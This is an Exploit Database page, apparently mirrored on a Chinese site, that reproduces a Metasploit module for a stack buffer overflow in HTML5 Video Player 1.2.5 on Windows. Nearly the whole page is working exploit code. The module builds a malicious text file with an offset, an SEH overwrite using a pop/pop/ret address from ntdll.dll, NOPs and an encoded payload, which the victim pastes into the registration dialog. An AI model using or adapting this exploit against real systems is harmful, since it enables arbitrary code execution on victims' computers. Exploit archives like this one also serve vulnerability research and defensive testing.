HTML5 Video Player 1.2.5 – Buffer Overflow (Metasploit)

• Exploit Database
• 32 阅读

• 作者： d3ckx1
  日期： 2018-11-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45921/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'HTML5 Video Player 1.2.5 - Buffer Overflow (SEH)',
  'Description'=> %q{
  This module exploits a stack based buffer overflow in HTML5 Video Player 1.2.5 , when
  with the name "msf.txt". 1.file with the name "msf.txt" and copy content to clipboard ,2.Open software, click Help > Register and paste "Username" click "OK".
  },
  'License'=> MSF_LICENSE,
  'Author'=>
  [ 
  'T3jv1l', # Original discovery
  'Kağan Çapar',# Original discovery
  'd3ckx1 d3ck(at)qq.com', # MSF module
  ],
  'References'=>
  [
  [ 'OSVDB', '' ],
  [ 'EBD', '45888' ]
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process'
  },
  'Platform'=> 'win',
  'Payload' =>
  {
  'BadChars'=> "\x00\x0a\x0d\x1a",
  'DisableNops' => true,
  'Space' => 4000
  },
  'Targets' =>
  [
  [ 'HTML Video Player 1.2.5',
  {
  'Ret' =>0x7C901931, # 0x7C901931 : P/P/R FROM ntdll.dll form winxp sp3
  'Offset'=>1984
  }
  ],
  ],
  'Privileged'=> false,
  'DisclosureDate'=> 'Nov 22 2018',
  'DefaultTarget'=> 0))
  
  register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)
  
  end
  
  def exploit
  buf = "\x41"*(target['Offset'])
  buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
  buf << [target.ret] .pack('V')# seh
  buf << make_nops(30)
  buf << payload.encoded
  buf << "\x90" * 300
  
  file_create(buf)
  handler
  
  end
  end